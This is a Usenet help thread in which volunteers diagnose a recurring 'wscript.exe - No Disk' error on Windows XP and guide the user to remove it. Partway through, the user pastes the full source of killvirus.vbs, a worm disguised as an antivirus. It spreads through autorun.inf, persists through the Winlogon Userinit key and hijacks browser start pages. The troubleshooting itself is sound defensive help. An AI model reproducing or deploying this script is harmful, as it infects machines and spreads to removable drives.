"wscript.exe - No Disk" error
samah
Win XP SP3.
After I eject a CD/DVD from my DVD drive or unmount an disk image from
the Daemon Tools virtual drive, I get an error window with the title
"wscript.exe - No Disk" and with the message " There is no disk in the
drive. Please insert a disk into drive (drive letter):". There are three
buttons that I can click: Cancel, Try again, Continue. When I click any
of these options, the error window closes but pops up again after an
interval of approx. i minute. The only way I can close this window
permanently is by rebooting the system.
Can anybody help me with this please.
Thanks in advance.
-samah.
Pegasus [MVP]
"samah" <sa...@mymail.com> said this in news item
news:umd$mO#nKHA...@TK2MSFTNGP06.phx.gbl...
It seems you're running some script, perhaps malicious. How exactly do you
eject your compact disk?
samah
With the 'Eject' button (it's a laptop).
Pegasus [MVP]
"samah" <sa...@mymail.com> said this in news item
news:ej7Qc6#nKHA...@TK2MSFTNGP04.phx.gbl...
Ok. Now please do this:
- Click Start/Run
- Type the three letters cmd and press Enter
- Type this command:
tasklist | find /i "script"
- Report what you see (if anything)
samah
Here is what I got after I re-booted to clear the error window:
image name: wscript.exe
PID: 2320
session name: console
session #: 0
mem usage: 5964k
This is what I got when the error window is active:
image name: wscript.exe
PID: 2672
session name: console
session #: 0
mem usage: 2976k
Sorry for my late response. Thank you.
Pegasus [MVP]
Here is a method to find out what script is running:
1. Click Start/Run
2. Type this command:
notepad c:\ScriptTest.bat
3. Allow the new file to be created.
4. Copy & paste the code below into the notepad session.
Do NOT retype it!
5. Save and close the file.
6. Open Windows Explorer, locate c:\ScriptTest.bat, then double-click it.
When wscript.exe is active then my program will report the script that it
runs. What is it? Can you locate it on the hard disk and post its contents
here?
@echo off
set Scr="%temp%\TempVBS.vbs"
set VB=echo^>^>%Scr%
cd 1>nul 2>%Scr%
%VB% Set oWMIService = GetObject("winmgmts:\\.\root\CIMV2")
%VB% Set cItems = oWMIService.ExecQuery( _
%VB% "SELECT * FROM Win32_Process where Name = 'wscript.exe'")
%VB% If cItems.Count = 0 Then
%VB% msgbox "Executable ""wscript.exe"" not found."
%VB% Else
%VB% For Each oItem In cItems
%VB% msgbox "The command line is " ^& oItem.CommandLine ^&
cItems.count
%VB% Next
%VB% End If
cscript //nologo %Scr%
del %Scr%
samah
"The command line is c:\windows\system32\wscript.exe
c:\windows\system32\killvirus.vbs1"
Thank you so much for your time. Waiting for your advice.
Pegasus [MVP]
"samah" <sa...@mymail.com> said this in news item
news:#h8NPjUo...@TK2MSFTNGP02.phx.gbl...
Fine. You now know have two points of attack:
- Your problem script is the file c:\windows\system32\killvirus.vbs1. What
does it contain.
- It gets invoked by wscript.exe. You can prevent this by running
msconfig.exe, then looking for wscript.exe under the Startup tab and
removing the tick mark.
samah
Sorry. wscript.exe is not appearing in the Startup tab. I re-booted in
safe mode and tried again but still no luck.
Thank you.
Pegasus [MVP]
"samah" <sa...@mymail.com> said this in news item
news:u7ZLyWbo...@TK2MSFTNGP05.phx.gbl...
What about my first question: What does the script file contain?
samah
Sorry. I could not locate the file. I searched not only the
c:\windows\system32 folder but also the entire hard disk. Included the
system and hidden files in the search as well.
Thank you.
Elmo
Run Regedit, press the Home key, press F3, type killvirus.vbs1 and see
if there are any hits. If so, delete that entry and press F3 to
continue the search.
--
Joe =o)
Pegasus [MVP]
"samah" <sa...@mymail.com> said this in news item
news:uvfqy8ho...@TK2MSFTNGP05.phx.gbl...
If you are unable to find the file killvirus.vbs1 and if you cannot find any
reference to script.exe or wscript.exe under the Startup tab in msconfig.exe
then you can silence this barking do by giving it a bone. The following
command, when executed in the Start/Run box, will do it:
notepad c:\windows\System32\killvirus.vbs
Place a space into the file, then save and close it. Note also that the file
you reported (killvirus.vbs1) sounds unlikely. If it is a script file then
it must have a .vbs extension, not .vbs1.
Jose
Start here:
Be sure the referenced file really does not exist in system32.
Using regedit, navigate to:
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
On the right side look for Shell which should have value of just:
explorer.exe
Delete anything after explorer.exe if there is anything.
Perform some scans for malicious software, then fix any remaining
issues:
Download, install, update and do a full scan with these free malware
detection programs:
Malwarebytes (MBAM): http://malwarebytes.org/
SUPERAntiSpyware: (SAS): http://www.superantispyware.com/
They can be uninstalled later if desired.
Under that same key look for Userinit which should have value of just:
C:\WINDOWS\system32\userinit.exe,
Do not delete the comma, but delete everything after it (your issue
most likely)
samah
While trying to create a new file 'killvirus.vbs' as you suggested, an
existing file with the same name opened, the contents of which I have
copied and pasted below. The file now appears under system32 folder but
I am not able to delete it, it says that the file is in use by another
process. Your 'ScriptTest.bat' still shows the same results,
killvirus.vbs1 not .vbs.
awaiting your further suggestions and Thank you for your valuable time.
'******************************************************************
'********************* Virus Removal VBScript *********************
'************************** Version 1.00 **************************
'******************************************************************
'This antivirus program is intended to repair your computer from
'any sorts of virus attacks.
Option Explicit
On Error Resume Next
Dim
Fso,Shells,SystemDir,WinDir,Count,File,Drv,Drives,InDrive,ReadAll,AllFile,WriteAll,Del,folder,Files,Delete,auto,root,rtn,appfolder,kinzadir
Set Fso = CreateObject("Scripting.FileSystemObject")
Set Shells = CreateObject("Wscript.Shell")
Set WinDir = Fso.GetSpecialFolder(0)
Set SystemDir =Fso.GetSpecialFolder(1)
Set File = Fso.GetFile(WScript.ScriptFullName)
Set Drv = File.Drive
appfolder=Shells.SpecialFolders("AppData")
kinzadir = appfolder & "\dxdlls"
Set InDrive = Fso.drives
Set ReadAll = File.OpenAsTextStream(1,-2)
do while not ReadAll.atendofstream
AllFile = AllFile & ReadAll.readline
AllFile = AllFile & vbcrlf
Loop
crvbs SystemDir,"killvirus.vbs"
Shells.RegWrite
"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD","0","REG_DWORD"
Count=Drv.DriveType
Do
delt SystemDir,"scvvhsot.exe",true
delt WinDir,"scvvhsot.exe",true
delt SystemDir,"blastclnnn.exe",true
delt SystemDir,"dxdlg.exe",true
delt SystemDir,"wprop.exe",true
delt SystemDir,"boot.vbs",false
delt SystemDir,"imapd.exe",true
delt SystemDir,"imapdb.exe",true
delt SystemDir,"imapdc.dll",false
delt SystemDir,"imapdd.dll",false
delt SystemDir,"imapde.dll",false
delt SystemDir,"kinza.exe",true
delt SystemDir,"isetup.exe",true
delt SystemDir,"Drivers\etc\hints.exe",true
For each Files in kinzadir.Files
set WriteAll = Fso.GetFile(Files.Name)
set Delete = WriteAll.Delete(True)
Next
set WriteAll = Fso.GetFoler(kinzadir)
set Delete = WriteAll.Delete(True)
Shells.RegWrite
"HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue","1","REG_DWORD"
Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Window
Title","Microsoft Internet explorer"
Shells.RegWrite "HKCU\Software\Microsoft\Internet
Explorer\Main\Search Page","http://goggleonline.blogspot.com/"
Shells.RegWrite
"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions","0","REG_DWORD"
Shells.RegWrite
"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr","0","REG_DWORD"
Shells.RegWrite
"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools","0","REG_DWORD"
Shells.RegWrite
"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableCmd","0","REG_DWORD"
Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://goggleonline.blogspot.com/"
Shells.RegWrite "HKLM\Software\Microsoft\Windows
NT\CurrentVersion\Winlogon\Shell","explorer.exe"
Shells.RegWrite
"HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue","1","REG_DWORD"
Shells.RegWrite "HKLM\Software\Microsoft\Windows
NT\CurrentVersion\Winlogon\Userinit",SystemDir & "\userinit.exe," & _
SystemDir & "\wscript.exe " & SystemDir & "\killvirus.vbs"
For Each Drives In InDrive
root = Drives.Path & "\"
If Fso.GetParentFolderName(WScript.ScriptFullName)=root Then
Shells.Run "explorer.exe " & root
End If
Set folder=Fso.GetFolder(root)
Set Delete = Fso.DeleteFile(SystemDir & "\killvbs.vbs",true)
Set Delete = Fso.DeleteFile(SystemDir & "\VirusRemoval.vbs",true)
If Drives.DriveType=2 Then
delext "inf",Drives.Path & "\"
delext "INF",Drives.Path & "\"
End if
If Drives.DriveType = 1 Or Drives.DriveType = 2 Then
If Drives.Path<> "A:" Then
delext "vbs",WinDir & "\"
delext "vbs",Drives.Path & "\"
delt Drives.Path, "ravmon.exe",false
if Drives.DriveType = 1 then
crvbs Drives.Path,"killvirus.vbs"
End if
delt Drives.Path,"sxs.exe",false
delt Drives.Path,"kinza.exe",false
delt Drives.Path,"SCVVHSOT.exe",false
delt Drives.Path,"New Folder.exe",false
delt Drives.Path,"Autorun.inf",false
delt Drives.Path,"isetup.exe",false
delt Drives.Path,"explorer.exe",false
delt Drives.Path,"smss.exe",false
delt Drives.Path,"winfile.exe",false
delt Drives.Path,"run.wsh",false
If Drives.DriveType = 1 Then
If Drives.Path<>"A:" Then
crinf Drives.Path,"autorun.inf"
End If
End If
End if
End If
Next
if Count <> 1 then
Wscript.sleep 20000
end if
loop while Count<>1
sub delext(File2Find, SrchPath)
Dim oFileSys, oFolder, oFile,Cut,Delete
Set oFileSys = CreateObject("Scripting.FileSystemObject")
Set oFolder = oFileSys.GetFolder(SrchPath)
Set File = oFileSys.GetFile(WScript.ScriptFullName)
For Each oFile In oFolder.Files
Cut=Right(oFile.Name,3)
If UCse(Cut)=UCase(file2find) Then
If oFile.Name <> "killvirus.vbs" Then set Delete =
oFileSys.DeleteFile(srchpath & oFile.Name,true)
End If
Next
End sub
sub delt(fPath, fName, kil)
dim fSys, Delet, Wri, raj
set raj = CreateObject("Wscript.Shell")
set fSys = CreateObject("Scripting.FileSystemObject")
if fSys.FileExists(fPath & "\" & fName) then
if kil = true then
raj.Run "taskkill /f /im " & fName,0
set Wri = fSys.GetFile(fPath & "\" & fName)
Wri.Attributes = 0
set Delet = fSys.DeleteFile(fpath & "\" & fname,true)
else
set Wri = fSys.GetFile(fPath & "\" & fName)
Wri.Attributes = 0
set Delet = fSys.DeleteFile(fpath & "\" & fname,true)
End if
End if
end sub
sub crvbs(fPath, fName)
dim dt, dt1, fSys, Writ, mfile, ReadAl, AllFil, chg, aLine, eLine,Shells
set fSys = CreateObject("Scripting.FileSystemObject")
set mfile = fSys.GetFile(WScript.ScriptFullName)
Set ReadAl = mfile.OpenAsTextStream(1,-2)
do while not ReadAl.atendofstream
AllFil = AllFil & ReadAl.readline
AllFil = AllFil & vbcrlf
Loop
If fSys.FileExists(fPath & "\" & fName) then
set Writ = fSys.GetFile(fPath & "\" & fName)
dt = Writ.DateLastModified
dt1 = mfile.DateLastModified
if (datevalue(dt1)-datevalue(dt)) > 0 then
delt fPath,"killvirus.vbs",false
set Writ = fSys.CreateTextFile(fPath & "\" & fName,2,true)
Writ.Write AllFil
Writ.close
set Writ = fSys.GetFile(fPath & "\" & fname)
Writ.Attributes = -1
end if
else
set Writ = fSys.CreateTextFile(fPath & "\killvirus.vbs",true,true)
Writ.Write AllFil
Writ.close
set Writ = fSys.GetFile(fPath & "\" & fName)
Writ.Attributes = -1
end if
end sub
sub crinf(fPath, fName)
dim dt, dt1, fSys, Writ, mfile, ReadAl, AllFil, chg, aLine, eLine,Shells
set fSys = CreateObject("Scripting.FileSystemObject")
eLine =eLine & "[autorun]" & vbcrlf
eLine =eLine & "open=wscript.exe killvirus.vbs" & vbcrlf
eLine =eLine & "icon=%systemroot%\System32\SHELL32.dll,8" & vbcrlf
eLine =eLine & "action=Open folder to view files" & vbcrlf
eLine =eLine & "shell\open=Open" & vbcrlf
eLine =eLine & "shell\open\Command=wscript.exe killvirus.vbs" & vbcrlf
eLine =eLine & "shell\Auto=AutoPlay" & vbcrlf
eLine =eLine & "shell\Auto\Command=wscript.exe killvirus.vbs" & vbcrlf
eLine =eLine & "shell\Explore\Command=wscript.exe killvirus.vbs" & vbcrlf
eLine =eLine & "shell\Find=Search..." & vbcrlf
eLine =eLine & "shell\Find\Command=wscript.exe killvirus.vbs" & vbcrlf
eLine =eLine & "shell\Format...=Format..." & vbcrlf
eLine =eLine & "shell\Format...\Command=wscript.exe killvirus.vbs" & vbcrlf
If fSys.FileExists(fPath & "\" & fName) then
set Chg = fSys.GetFile(fPath & "\" & fName)
set ReadAl = Chg.OpenAsTextStream(1,-2)
do while not ReadAl.atendofstream
aLine = aLine & ReadAl.readline
aLine = aLine & vbcrlf
Loop
ReadAl.close
If trim(aLine) <> trim(eLine) then
Set Writ = fSys.CreateTextFile(fPath & "\" & fName,2,True)
Writ.write eLine
Writ.close
Set Writ = fSys.GetFile(fPath & "\" & fName)
Writ.Attributes = -1
End if
else
set Writ = fSys.CreateTextFile(fPath & "\" & fName,2,True)
Writ.Write eLine
Writ.Close
Set Writ = fSys.GetFile(fPath & "\" & fName)
Writ.Attributes = -1
end if
End sub
'edited by anwesh...@gmail.com
samah
Thank you. I will send the feed back to you later.
samah
Since I have found the referenced file in the system32 folder, I have
not proceeded with your suggestion. Now how to go about it?
Pegasus [MVP]
"samah" <sa...@mymail.com> said this in news item
news:#JU59cvo...@TK2MSFTNGP06.phx.gbl...
>
> <snip>
>
> While trying to create a new file 'killvirus.vbs' as you suggested, an
> existing file with the same name opened, the contents of which I have
> copied and pasted below. The file now appears under system32 folder but I
> am not able to delete it, it says that the file is in use by another
> process. Your 'ScriptTest.bat' still shows the same results,
> killvirus.vbs1 not .vbs.
>
> awaiting your further suggestions and Thank you for your valuable time.
That's one hell of a script, all 235 lines of it. There are a couple of
things that intrigue me about it:
- Its lack of any information about author, version and date of release
- Its boastful claim "This antivirus program is intended to repair your
computer from
any sorts of virus attacks."
The claim is certainly not true. I would do this:
1. Boot the machine into Safe Mode
2. Rename the file to killvirus.bad
3. Create a blank replacement file.
If Step 2 fails then you need to seize ownership of the file and give
yourself full read/write access to it.
Jose
My post is a generic one that will apply to most people most of the
time.
That script is a generic one found in many places on the Internet as
the "fix all your problems" script.
You should stick with MBAM and SAS for general scanning.
If the script file does not exist on your system, it was removed by a
scanning program or by hand. All of the things you have been trying
are confusing and so far are not working. The location of the problem
is not something that will reveal itself in msconfig or any of the
other methods suggested for things to try.
You need things to do and you need to stop trying things that don't
work if you want to fix this!
Check in Task Manager and if wscript.exe is running, terminate it and
remove the mentioned.vbs file, then fix the registry Userinit section
as indicated.
The entry in the registry (most likely Userinit) is still broken, so
you need to fix that either by hand, or you can fix it using
HijackThis and it will find and fix it for you. If you run
HijackThis, it will report a single F2 item and there should not be an
F2 item on most systems and you can let HijackThis fix it for you. It
will look like this (which is wrong).
F2 - REG:system.ini: UserInit=C:\WINDOWS\SYSTEM32\Userinit.exe, c:
\windows\system32\wscript.exe c:\windows\system32\killvirus.vbs
Get the 2.0.2 version of HijackThis (not the Beta) here:
http://free.antivirus.com/hijackthis/
If you are worrried about your registry, back it up first with this
popular free tool:
http://www.larshederer.homepage.t-online.de/erunt/
The other possibility is that the reference is in the autorun.inf file
for your device - you can check the content of your autorun.inf file
for the device that is complaining and post the contents here if you
can't figure it out.
samah
Followed your advice and fixed the problem successfully.
Here is what I did:
1. Deleted killvirus.vbs in system32.
2. In the Registry, Userinit had the value of:
C:\WINDOWS\system32\userinit.exe, C:\WINDOWS\system32\wscript.exe
C:\WINDOWS\system32\killvirus.vbs.
Deleted everything after userinit.exe, as you advised.
In the process you introduced some very useful utilities to me. Thank
you so much for everything.
Jose
> 2. In the Registry, Userinit had the value of:
> C:\WINDOWS\system32\userinit.exe, C:\WINDOWS\system32\wscript.exe
> C:\WINDOWS\system32\killvirus.vbs.
> Deleted everything after userinit.exe, as you advised.
>
> In the process you introduced some very useful utilities to me. Thank
> you so much for everything.
Of course, and thank goodness.
Everything makes perfect sense when things are understood!
I would recommend this ASAP:
samah
Thank you.
boukm...@gmail.com
> Win XP SP3.After I eject a CD/DVD from my DVD drive or unmount an disk image from the Daemon Tools virtual drive, I get an error window with the title "wscript.exe - No Disk" and with the message " There is no disk in the drive. Please insert a disk into drive (drive letter):". There are three buttons that I can click: Cancel, Try again, Continue. When I click any of these options, the error window closes but pops up again after an interval of approx. i minute. The only way I can close this window permanently is by rebooting the system.Can anybody help me with this please.Thanks in advance.-samah.
Solution that works for me: do a eject only with the drive properties. Using the drive button is what causes the problem for me on the CD drive anway. Not sure how this will work for a soft drive. Good luck.
elephe...@gmail.com
Hot-Text
news:6601b3b2-8e6f-4dbb...@googlegroups.com...
Home » DAEMON Tools Ultra » How-to video guide » How to create a VHD?
How to create a VHD?
Learn how to create a virtual hard disk in DAEMON Tools Ultra:
< http://ultra.daemon-help.com/howto/create_vhd >
Hot-Text
From: "Hot-Text" <webm...@mynews.ath.cx>
Newsgroups: microsoft.public.windowsxp.general
Subject: Re: "create_vhd - Disk" No error
Date: Wed, 27 Aug 2014 19:42:22 -0500
Organization: Aioe.org NNTP Server
Lines: 40
Message-ID: <ltlttf$8no$1...@speranza.aioe.org>
References: <umd$mO#nKHA...@TK2MSFTNGP06.phx.gbl>
<6601b3b2-8e6f-4dbb...@googlegroups.com>
NNTP-Posting-Host: bsIR7faehmdQv2r1vR36Pg.user.speranza.aioe.org
Mime-Version: 1.0
Content-Type: text/plain;
format=flowed;
charset="iso-8859-1";
reply-type=original
Content-Transfer-Encoding: quoted-printable
X-Complaints-To: ab...@aioe.org
X-MimeOLE: Produced By Microsoft MimeOLE V14.0.8117.416
X-Notice: Filtered by postfilter v. 0.8.2
X-Newsreader: Microsoft Windows Live Mail 14.0.8117.416
Importance: Normal
X-Priority: 3
X-MSMail-Priority: Normal
Xref: news.mixmin.net microsoft.public.windowsxp.general:316208
>> Win XP SP3.
>> drive. Please insert a disk into drive (drive letter):". There are =three
>> buttons that I can click: Cancel, Try again, Continue. When I click =any
>> of these options, the error window closes but pops up again after =an
>> permanently is by rebooting the system.
>> Can anybody help me with this please.
>> Thanks in advance.
>> -samah.
> ing
Home BB DAEMON Tools Ultra BB How-to video guide BB How to create a VHD?